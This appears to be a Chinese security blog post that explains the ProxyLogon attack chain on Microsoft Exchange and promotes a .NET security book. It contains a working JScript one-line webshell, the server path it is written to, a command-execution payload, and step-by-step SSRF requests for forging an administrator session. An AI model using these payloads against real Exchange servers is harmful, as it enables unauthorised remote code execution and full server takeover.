近期,荷兰安全公司 Eye Security 披露了一组针对 SharePoint 服务器的系列漏洞,被命名为 ToolShell。这组漏洞包括 CVE-2025-49704、CVE-2025-49706、CVE-2025-53770、CVE-2025-53771,它们利用一个新型的 ViewState 使用链,可以在无需身份认证的情况下实现远程代码执行。这起事件再次提醒我们,即使是微软这样的大型软件产品,也难免存在安全缺陷。无独有偶,Exchange Server 作为微软的另一个世界级产品,也曾面临类似的威胁。
下面,我们将以新书《.NET安全攻防指南》披露的 CVE-2021-27065 和 CVE-2021-26855 这两个经典漏洞为例,深入探讨 Exchange 的安全问题。
免责声明:此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习和本地安全研究和测试,禁止用于其他方面。
CVE-2021-27065 是一个任意文件写入漏洞,但其利用存在一个前提条件:攻击者必须首先拥有 Exchange 服务器的管理员账号和密码。这使得单独利用该漏洞的威胁相对有限。然而,仍然是整个攻击链中至关重要的一环,为后续的 WebShell 上传提供了可能。
2.1 漏洞原理
该漏洞的核心在于 Exchange 控制面板中的虚拟目录配置功能。攻击者可以利用这一功能,通过精心构造的输入,将恶意代码写入服务器的任意位置。
首先,登录 ECP 界面攻击者使用已有的管理员凭据登录到 http://host_ip/ecp/default.aspx
。
然后,配置虚拟目录登录后,依次点击“服务器” -> “虚拟目录”。在列表中找到并编辑名为 OAB (Default Web Site) 的虚拟目录。
2.2 漏洞触发
接着,注入恶意代码在“外部URL”输入框中,攻击者替换掉默认地址,注入一段 .NET
一句话木马。这段代码将允许攻击者通过 HTTP 请求执行任意命令,代码示例如下:
http://dotnet/<script language="JScript" runat="server">functionPage_Load(){eval(Request["code"],"unsafe");}</script>
写入 WebShell点击“保存”后,再次点击“重置虚拟目录”。在弹出的对话框中,攻击者指定一个目标路径,将包含木马代码的配置写入到服务器上。写入文件的路径如下所示:
\127.0.0.1c$inetpubwwwrootaspnet_clientdotnet_test.aspx
点击“重置”后,木马文件便成功写入到目标目录。
验证和利用攻击者可以在服务器的 PowerShell 控制台中,切换到写入目录,并使用 ls
或 dir
命令验证文件是否存在。
最后,攻击者通过 BurpSuite 等工具,向 dotnet_test.aspx
发送 POST 请求,并在请求体中携带命令执行代码,如下代码所示。
Response.Write(newActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());
如果成功,服务器将返回 whoami
命令的执行结果。
CVE-2021-26855是一个服务端请求伪造漏洞,它的出现改变了 CVE-2021-27065 的利用难度。该漏洞允许未经身份验证的攻击者通过精心构造的 HTTP 请求,绕过 Exchange 的身份验证机制,从而为后续的攻击铺平道路。
该 SSRF 漏洞的根源在于 Exchange Server 对 Cookie 中的 BEResource 字段解析不当。攻击者可以利用这一缺陷,让 Exchange 服务器作为代理,向内部网络发起请求,并利用 Exchange 的认证机制,伪造出管理员的身份。该漏洞主要存在于固定目录
C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxybin
下的Microsoft.Exchange.FrontEndHttpProxy.dll
文件中。
具体而言,攻击者首先向 /ecp/y.js
发送一个特殊的 HTTP POST 请求,通过 autodiscover
服务获取管理员邮箱的 LegacyDN 值。
拿到 LegacyDN 后,攻击者再次向 /ecp/y.js
发送请求。这次,请求体中将包含 LegacyDN 值以及一些特定的十六进制字节序列。服务器响应中将包含管理员的 SID值。注意: 如果要在 BurpSuite 中发送十六进制字符串,需要在 Hex 选项卡中手动修改
最后,攻击者发送第三个请求。这次,在 Cookie 的 X-BEResource
字段中,将指定 proxyLogon.ecp
。请求体中包含管理员的 SID。服务器在响应头中会返回 ASP.NET_SessionId 和 msExchEcpCanary 这两个关键的 Cookie 值。
通过这三个步骤,攻击者成功地绕过了身份验证,获取了以管理员身份登录所需的会话信息。
综上,CVE-2021-26855 和 CVE-2021-27065 这两个漏洞的组合利用,形成了一个完整的 “ProxyLogon” 攻击链。首先,攻击者利用 SSRF 漏洞在未经身份验证的情况下获取了管理员权限所需的会话信息,然后利用任意文件写入漏洞上传 WebShell,最终实现远程代码执行,完全控制 Exchange 服务器。
以上相关的知识点已收录于新书《.NET安全攻防指南》,全书共计25章,总计1010页,分为上下册,横跨.NET Web代码审计与红队渗透两大领域。
上册深入剖析.NET Web安全审计的核心技术,帮助读者掌握漏洞发现与修复的精髓;下册则聚焦于.NET逆向工程与攻防对抗的实战技巧,揭秘最新的对抗策略与技术方法。
自《.NET安全攻防指南》上线以来,许多读者已抢先下单成功购入并收到了书籍,反响热烈,好评如潮!
感谢大家的支持,我们也将持续为大家带来更多优质的.NET安全研究成果!原价258元,现限量优惠,京东自营店全套仅售141元,数量有限!
点击京东链接:https://item.jd.com/10140917044329.html 或者打开手机京东APP即可下单购买。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...